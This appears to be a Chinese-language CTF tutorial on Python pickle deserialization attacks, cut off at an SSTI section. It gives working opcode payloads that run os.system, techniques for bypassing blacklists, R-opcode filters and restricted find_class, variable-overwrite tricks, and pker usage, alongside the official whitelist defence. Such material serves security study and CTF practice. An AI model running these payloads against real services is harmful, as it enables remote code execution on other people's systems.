b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x04Test\x93)\x81}(\x8c\x04name\x8c\x06matrix\x8c\x03ageK\x14ub.'


0: \x80 PROTO 4
2: \x95 FRAME 45
11: \x8c SHORT_BINUNICODE '__main__'
21: \x8c SHORT_BINUNICODE 'Test'
27: \x93 STACK_GLOBAL
28: ) EMPTY_TUPLE
29: \x81 NEWOBJ
30: } EMPTY_DICT
31: ( MARK
32: \x8c SHORT_BINUNICODE 'name'
38: \x8c SHORT_BINUNICODE 'matrix'
46: \x8c SHORT_BINUNICODE 'age'
51: K BININT1 20
53: u SETITEMS (MARK at 31)
54: b BUILD
55: . STOP
highest protocol among opcodes = 4

利用pickletools,我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法……总之,是我们调试的利器。

漏洞利用

手写opcode与pker

在CTF中,进行一些绕过的时候,光使用__reduce__ 是做不到的,只能手动拼接或构造opcode了。由此也可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。

根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode,下文我们编写的opcode也基本都是版本0。

手写opcode是pickle反序列化比较难的地方,虽然版本0的opcode是人类可读的,但是实际编写并不是很容易。

所以这里推荐使用一个工具——pker:

这里我们先通过手写opcode来学习,pker的使用方法将在下文中详细介绍。

在能够传入可控的 pickle.loads 的 data 的大前提下,我们就可以构想出下面几种攻击场景。

操控属性

操控属性的两种利用方式不理解也没事,我们的学习重心在下面RCE上,学会了RCE,操控属性自然也会了。

修改变量属性

假设有如下内容限制用户权限:

1
2
3
4
5
6
import pickle

class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest

然后我们从guest变成admin

假设正常我们以访客登录时会传入如下 pickle 序列化内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import pickle

class User:
def __init__(self):
self.admin=False
self.guest=True

u = User()
print(pickle.dumps(u))
# pickletools.dis(pickle.dumps(u))

# 输出:b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'

'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ User'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: ( MARK
27: X BINUNICODE 'admin'
37: q BINPUT 3
39: \x89 NEWFALSE
40: X BINUNICODE 'guest'
50: q BINPUT 4
52: \x88 NEWTRUE
53: u SETITEMS (MARK at 26)
54: b BUILD
55: . STOP
highest protocol among opcodes = 2
'''

那么我们对登陆时的 \x89(即True)和 \x88 (即False)进行调换,即可得到如下实例化结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import opcode
import pickle
import pickletools

class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest

opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
# pickletools.dis(opcode)

fakeUser = pickle.loads(opcode)
print(fakeUser.admin,fakeUser.guest)

# 输出:True False

变量覆盖

全局变量覆盖

除了修改变量之外,我们也可以对其他模块已有的变量进行变量覆盖,示例

1
2
# secret.py
secret='matrix'

首先,通过 c 获取全局变量 secret ,然后建立一个字典,并使用 b 对secret进行属性设置,使用到的payload:

1
2
3
4
5
opcode='''c__main__
secret
(S'name'
S'1'
db.'''

解释一下:

1
2
3
4
5
opcode=b'''c__main__
secret
(S'secret' # secret 内的 secret 属性
S'Hacker!!!' # 指定要替换的内容
db.''' # d创建空的dict然后b取前一个Hacker!!!进行update

攻击效果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import secret

print("secret:"+secret.secret) # 输出:secret:matrix

opcode=b'''c__main__
secret
(S'secret'
S'Hacker!!!'
db.'''

fake=pickle.loads(opcode)

print("fakesecret:"+fake.secret) # 输出:fakesecret:Hacker!!!

RCE基本构造

在攻击中我们的目的肯定最终是利用序列化的内容实现RCE

基本的RCE利用构造:

1
2
3
4
c<module>
<callable>
(<args>
tR.

这里回顾几个opcode

c :GLOBAL,加载一个全局对象,如定义模块名和类名(模块名和类名之间使用回车分隔)
( :MARK,栈上的“标记”(用于后续组合对象/参数),作为命令执行到哪里的一个标记
S : STRING,表示后面是一个字符串
t :TUPLE,弹出栈上的所有内容直到MARK,组合成一个tuple对象(元组)
R :REDUCE,用 tuple 里的内容去调用某个函数/类,即从栈中取出可调用函数以及元组形式的参数来执行,并把结果放回栈中
. :STOP,反序列化结束,点号是结束符

填充上内容也就是:

1
2
3
4
cos
system # 引入 os 模块的 system 方法,这里实际上是将 os.system 函数对象压栈
(S'ls' # ( 标记 tuple 开始,把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack。R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素 <=> __import__('os').system(*('ls',))

这里详细解释解释每一步

  • c:GLOBAL opcode

    语法:c<module>\n<name>\n

    作用:将 <module>.<name> 这个可调用对象压栈

    os + 换行 + system + 换行:这两行连着使用,是 c 指令的参数

    c 读到 ossystem,表示找到 os.system 这个全局函数,把它压栈

  • (:MARK

    在栈上放一个“标记”,用于后续收集参数

  • S'ls'\n:STRING

    'ls' 这个字符串压栈

  • t:TUPLE

    把刚才 MARK 到现在栈顶的内容都取出来,组成一个 tuple,其实就是形成了('ls',)

    这步后,栈上有两样东西:os.system('whoami',)

  • R:REDUCE

    语法:R执行“调用”:弹出 tuple 和一个可调用对象,相当于

    1
    2
    3
    func, args = stack.pop(), stack.pop() // 弹出 tuple 和一个可调用对象
    obj = func(*args) // 执行os.system('whoami')
    stack.append(obj) // 将结果入栈

    这里就是 os.system('whoami')执行

  • .:STOP

    结束,返回栈顶内容(但此时 os.system('whoami') 已经被执行)

这样的 opcode 被我们 pickle.loads 的话就会导致 RCE

image-20251003150340942

我们之前重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行,就是对应opcode当中的R指令

1
2
3
4
5
6
7
8
9
10
import pickle
import os

class Test(object):
def __reduce__(self):
return (os.system,('calc',))

print(pickle.dumps(Test(), protocol=0))

# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

所以利用 pickle 的 __reduce__ 就是直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',)) 的构造;但缺点是只能执行单一的函数,很难构造复杂的操作 。

而且这种指令码在现在的 CTF 中已经很难生效了,通常都会对指令码进行过滤,需要我们结合对整个过程的理解来进行绕过。

同时,我们发现pickle.loads 是可以自动 import 的,这一点为我们的攻击提供了方便。

漏洞修复

在 pickle 的源码里,反序列化时遇到 c 操作码,会调用一个叫 load_global 的方法(在 Unpickler 类里);load_global 方法会读出模块名和类名,然后调用 find_class(module, name) 去获取实际的类或函数对象。

可以参考源码:cpython/Lib/pickle.py at main · python/cpython · GitHub

所以说,c操作码实际指向了 self.find_class(modname, name);

1
2
3
4
5
6
7
8
9
10
11
12
def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)

其中的 getattr 是通过 sys.modules 获取变量名的或者模块的,sys.modules是一个全局字典,我们可以从其中 get 到我们想要的属性,只要 python 启动 sys.modules 就会将模块导入字典中。

1
2
3
4
5
import sys
import secret

print(getattr(sys.modules['__main__'],'secret'))
# <module 'secret' from 'c:\\Users\\sp4c1ous\\Desktop\\secret.py'>

pickle反序列化修复和其他的反序列化漏洞一样,就是永远不要相信用户的输入,确保 unpickle 的内容不会来自于不受信任的或者未经验证的来源的数据。

在这一点之外,官方针对pickle的安全问题的一个建议是重写 Unpickler.find_class() 来限制全局变量,引入白名单的方式来解决,代码编写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import builtins
import io
import pickle

safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)


###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

以上例子通过重写Unpickler.find_class()方法,限制调用模块只能为builtins,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle时的安全性。

漏洞 bypass

绕过黑名单

有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单:

1
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

可惜platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼。

另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:

1
2
3
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])

总之,黑名单不可取。要禁止reduce这一套方法,更稳妥的方式是禁止掉R这个指令码。

过滤R指令

由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了,这个可以很方便地利用pickletools.genops来实现,也可以重写find_class。下面我们讲绕过

其他字节码

在pickle中,和函数执行的字节码很多,R 已经说过了,我们具体再看看 iob

  • i 其实就相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

    1
    2
    3
    4
    INST           = b'i'   # build & push class instance

    GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
    OBJ = b'o' # build & push class instance

    示例:

    python opcode=b'''(S'calc' ios system .'''

  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

    python opcode=b'''(cos system S'calc' o.'''

汇总一下:

  • R
1
2
3
4
b'''cos
system
(S'whoami'
tR.'''
  • i
1
2
3
4
b'''(S'whoami'
ios
system
.'''
  • o
1
2
3
4
b'''(cos
system
S'whoami'
o.'''

这里重点提一下 b

1
BUILD          = b'b'   # call __setstate__ or __dict__.update()

我们可以看到 b 指令码的作用,这里会调用到 __setstate__

__setstate__官方文档中,如果想要存储对象的状态,就可以使用__getstat____setstat__方法。由于 pickle 同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')

序列化时调用__getstate__ ,反序列化时调用__setstate__,。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate____setstate__都被省略,那么就默认自动保存和加载对象的属性字典__dict__

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import pickle
import pickletools

class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age

def __str__(self):
return f"name: {self.name}\nage: {self.age}"


class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name=state
self.age=10

def __getstate__(self):
print("invoke __getstate__")
return "Child"

child=Child("TEST",123)
print(child)
'''
输出:
name: TEST
age: 123
'''

opcode=pickle.dumps(child,protocol=0)
print(opcode)
'''
输出:
invoke __getstate__
b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'
'''

pickletools.dis(opcode)
'''
输出:
0: c GLOBAL 'copy_reg _reconstructor'
25: p PUT 0
28: ( MARK
29: c GLOBAL '__main__ Child'
45: p PUT 1
48: c GLOBAL '__builtin__ object'
68: p PUT 2
71: N NONE
72: t TUPLE (MARK at 28)
73: p PUT 3
76: R REDUCE
77: p PUT 4
80: V UNICODE 'Child'
87: p PUT 5
90: b BUILD
91: . STOP
highest protocol among opcodes = 0
'''

c1=pickle.loads(opcode)
print(c1)
'''
输出:
invoke __setstate__
name: Child
age: 10
'''

在 pickle 源码中,字节码b对应的是load_build()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def load_build(self):
stack = self.stack
state = stack.pop()
# 首先获取栈上的字节码 b 前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

根据上面代码的逻辑

  • 对于 pickle 的 BUILD 操码,如果反序列化的是一个实现了 __setstate__ 的类,就会执行它的 __setstate__ 方法,参数是 BUILD 操码压入的 state 对象(通常是 dict)。
  • 如果没有 __setstate__,就用默认的 __dict__.update

也就是,

如果对象有 __setstate__() 方法,就会调用它,把下一个元素作为参数传进去;如果没有 __setstate__() 方法,就会用默认的 __dict__.update(state),即把字典里的内容加进对象属性。

我们可以进行如下构造:

1
2
3
4
5
o}(S"__setstate__"    # o} 的含义是创建一个新对象,并压入空 dict。} 压入空dict到栈顶,将 "__setstate__" 作为 key 压入
cos
system # c push进去我们的 os.system
ubS"calc" # u 是 SETITEMS(将栈里的一组键值对添加到字典),形成 {"__setstate__": os.system}。然后执行第一次 b :因为现在并没有 b ,也就是没有__setstate__方法,所以用默认的 __dict__.update(),把这个 dict 里的内容加到 obj 的属性里
b. # 压入命令再次执行 b 由于已经有了__setstate__属性,所以会将栈中字节码 b 的前一个元素当作 state,执行__setstate__(state)

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import pickle

class Person:
def __init__(self,age):
self.age=age


opcode=b'''(c__main__
Person
I18
o}(S"__setstate__"
cos
system
ubS"calc"
b.'''

p=pickle.loads(opcode)
pickletools.dis(opcode)

'''
0: ( MARK
1: c GLOBAL '__main__ Person'
18: I INT 18
22: o OBJ (MARK at 0)
23: } EMPTY_DICT
24: ( MARK
25: S STRING '__setstate__'
41: c GLOBAL 'os system'
52: u SETITEMS (MARK at 24)
53: b BUILD
54: S STRING 'calc'
62: b BUILD
63: . STOP
highest protocol among opcodes = 1
'''

image-20251003161659948

python内置函数绕过

这一部分就是考验 python 的基础了,题目的话可以参考美团CTF 2022 ezpickle**蓝帽杯2022 file_session

关于 python 的内置函数可以移步官方文档内置函数 — Python 3.13.7 文档

我们需要在这里面找到可以进行命令执行的函数,这里给出两个

1
2
3
4
5
for x in map.__new__(map, eval, ['print(\'map\')']):  
pass

for x in filter.__new__(filter, eval, ['print(\'filter\')']):
pass

如上,但是这里是有一点问题的,这两个函数构建一个新的迭代器

  • map(function, iterable, *iterables)

    返回一个将 function 应用于 iterable 的每一项,并产生其结果的迭代器。 如果传入了额外的 iterables 参数,则 function 必须接受相同个数的参数并被用于到从所有可迭代对象中并行获取的项。 当有多个可迭代对象时,当最短的可迭代对象耗尽则整个迭代将会停止。 对于函数的输入已经是参数元组的情况,请参阅 itertools.starmap()。

  • filter(function, iterable, /)

    使用 iterable 中 function 返回真值的元素构造一个迭代器。 iterable 可以是一个序列,一个支持迭代的容器或者一个迭代器。 如果 function 为 None,则会使用标识号函数,也就是说,iterable 中所有具有假值的元素都将被移除。

    请注意, filter(function, iterable) 相当于一个生成器表达式,当 function 不是 None 的时候为 (item for item in iterable if function(item));function 是 None 的时候为 (item for item in iterable if item) 。

    请参阅 itertools.filterfalse() 来了解返回 iterable 中 function 返回假值的元素的补充函数。

这里构建的迭代器是不会立即触发的,在 python 中好像叫懒惰,我们需要再对迭代对象进行一步 __next__ 才能将他触发

1
2
3
4
5
r = map(eval, ['print(\'1\')'])
r.__next__()

r = filter(eval, ['print(\'2\')'])
r.__next__()

image-20251003162543092

__next__ 我们可以对他进行一个跟踪,看文档就可以

  • iterator.next()

    iterator中返回下一项。如果已经没有可返回的项,则会引发StopIteration异常。此方法对应于Python/C API中Python对象类型结构体的tp_iternext槽位。

Python/C API 中 Python 对象类型结构体的 tp_iternext 槽位

20221106105600-8b3b48bc-5d7e-1

可以看到最下面,这里实际上也就是对应着 PyIter_Next

20221106105609-90cbd8be-5d7e-1

我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__() 了,我们需要找一个能够触发 PyIter_Next 的方法:

1
2
3
4
5
# bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
bytes.__new__(bytes, map.__new__(map, eval, ['print(1)']))

# tuple_new_impl->PySequence_Tuple->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"]))

也就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)


opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

pickle.loads(opcode)

用到的核心其实就是

1
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple

绕过find_class函数

我们在前面学习到了 c 操作码调用的 find_class 的逻辑,这里我们再强调一下什么时候会调用find_class()

  1. 从opcode角度看,当出现cib'\x93'时会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。
  2. 从python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__绕过一些黑名单。

上面我们提到官方的修复方法是对 find_class 进行白名单限制,但是如果不按官方建议来就有可能绕过find_class函数,比如使用黑名单:

这里有一个例子Code-Breaking:picklecode,将pickle能够引入的模块限定为builtins,并且设置了子模块黑名单:{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'},于是我们能够直接利用的模块有:

  • builtins模块中,黑名单外的子模块。
  • 已经import的模块:iobuiltins(需要先利用builtins模块中的函数)

黑名单中没有getattr,所以可以通过getattr获取iobuiltins的子模块以及子模块的子模块:),而builtins里有eval、exec等危险函数,即使在黑名单中,也可以通过getattr获得。pickle不能直接获取builtins一级模块,但可以通过builtins.globals()获得builtins;这样就可以执行任意代码了。payload为:

我们可以利用 如下代码进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
opcode=b'''cbuiltins
getattr
p0 #取到 getattr
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2 # getattr(dict, 'get')
00g1
(g2
S'__builtins__' # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")' # 取到 eval 然后实现 RCE
tR.
'''

R 被过滤的时候,构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.'
# 最后两个0是栈为空,否则会报错

'''
0: \x80 PROTO 3
2: ( MARK
3: c GLOBAL 'builtins getattr'
21: p PUT 0
24: c GLOBAL 'builtins dict'
39: p PUT 1
42: X BINUNICODE 'get'
50: o OBJ (MARK at 2)
51: p PUT 2
54: 0 POP
55: ( MARK
56: g GET 2
59: ( MARK
60: c GLOBAL 'builtins globals'
78: o OBJ (MARK at 59)
79: X BINUNICODE '__builtins__'
96: o OBJ (MARK at 55)
97: p PUT 3
100: ( MARK
101: g GET 0
104: g GET 3
107: X BINUNICODE 'eval'
116: o OBJ (MARK at 100)
117: p PUT 4
120: ( MARK
121: g GET 4
124: X BINUNICODE '__import__("os").system("whoami")'
162: o OBJ (MARK at 120)
163: 0 POP
164: 0 POP
165: . STOP
highest protocol among opcodes = 2
'''

还有一个例子是高校战疫网络安全分享赛·webtmp中的过滤方法,只允许__main__模块。虽然看起来很安全,但是被引入主程序的模块都可以通过__main__调用修改,所以造成了变量覆盖。

限制中,改写了find_class函数,只能生成__main__模块的pickle:

1
2
3
4
5
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': # 只允许__main__模块
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

此外,禁止了b'R'

1
2
3
4
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

目标是覆盖secret中的验证,由于secret被主程序引入,是存在于__main__下的secret模块中的,所以可以直接覆盖掉,此时就成功绕过了限制:

1
2
3
4
5
6
7
8
9
10
11
b'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db0(S"1"
S"2"
i__main__
Animal
.'''

敏感字符 bypass

S

S 操作码本身是 String ,是支持十六进制的识别的

1
S'flag' => S'\x66\x6c\x61\x67'

V

1
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument

在指令集中存在一个 V 用于操作 Unicode 字符,对原本的 S 进行替换后即可在单引号内使用 Unicode 编码

1
S'flag' => V'\u0066\u006C\u0061\u0067'

利用内置函数取关键字

我们可以用 dir 列出 admin 模块的所有属性,我们需要的 secret 属性位于最后的位置,这个时候我们就可以利用函数将这里的 secret 取出来

1
2
3
print(next(reversed(dir(sys.modules['admin']))))

#secret

reversed 函数将 dir 得到的列表逆序,然后使用 next 取第一个即可,写到 opcode 中就是如下构造

1
2
3
4
5
6
7
8
9
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.

pker使用说明

pker特点

上面我们已经介绍过pker了,这里我们回顾一下:

  • pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,工具地址:GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode
  • 解析器的原理见作者的文章:通过AST来构造Pickle opcode-先知社区
  • 使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)不过要在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
  • 此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。

参考文章,里面有不少pker的例子:

通过AST来构造Pickle opcode-先知社区

pickle反序列化初探-先知社区

Pickle的几个特点:

  • 非图灵完备的栈语言,没有运算、循环、条件分支等结构
  • 可以实现的操作
    • 构造Python内置基础类型(str, int, float, list, tuple, dict
    • dictlist成员的赋值(无法直接取值)
    • 对象成员的赋值(无法直接取值)
    • callable对象的调用
    • 通过_Pickler.find_class导入模块中的某对象,find_class的第一个参数可以是模块或包,本质是getattr(__import__(module), name)
    • 版本保持向下兼容,通过opcode头解析版本
    • 0号protocol使用\n作操作数的分割

pker能做的事

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

具体来讲,可以使用pker进行原变量覆盖、函数执行、实例化新的对象。

使用方法与示例

  1. pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
  2. 此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
  3. pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

注意:

  1. 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。
  2. pker解析S时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
1
2
test="123"
return test

被解析为:

1
b"S'123'\np0\n0g0\n."

pker:全局变量覆盖

  • 覆盖直接由执行文件引入的secret模块中的namecategory变量:
1
2
3
4
secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
  • 覆盖引入模块的变量:
1
2
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

接下来会给出一些具体的基本操作的实例。

pker:函数执行

  • 通过b'R'调用:
1
2
3
4
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
  • 通过b'i'调用:
1
INST('os', 'system', 'whoami')
  • 通过b'c'b'o'调用:
1
OBJ(GLOBAL('os', 'system'), 'whoami')
  • 多参数调用函数
1
2
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

pker:实例化对象

  • 实例化对象是一种特殊的函数执行
1
2
3
4
5
6
7
8
animal = INST('__main__', 'Animal','1','2')
return animal


# 或者

animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
  • 其中,python原文件中包含:
1
2
3
4
5
class Animal:

def __init__(self, name, category):
self.name = name
self.category = category
  • 也可以先实例化再赋值:
1
2
3
4
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

手动辅助

  • 拼接opcode:将第一个pickle流结尾表示结束的.去掉,两者拼接起来即可。
  • 建立普通的类时,可以先pickle.dumps,再拼接至payload。

结合 SSTI

flask 框架下结合 SSTI 进行 bypass

简单放一下 payload,大体的思路就是调用 flask.templating 的 render_template_string 来传入 SSTI 的相关 paylaod

1
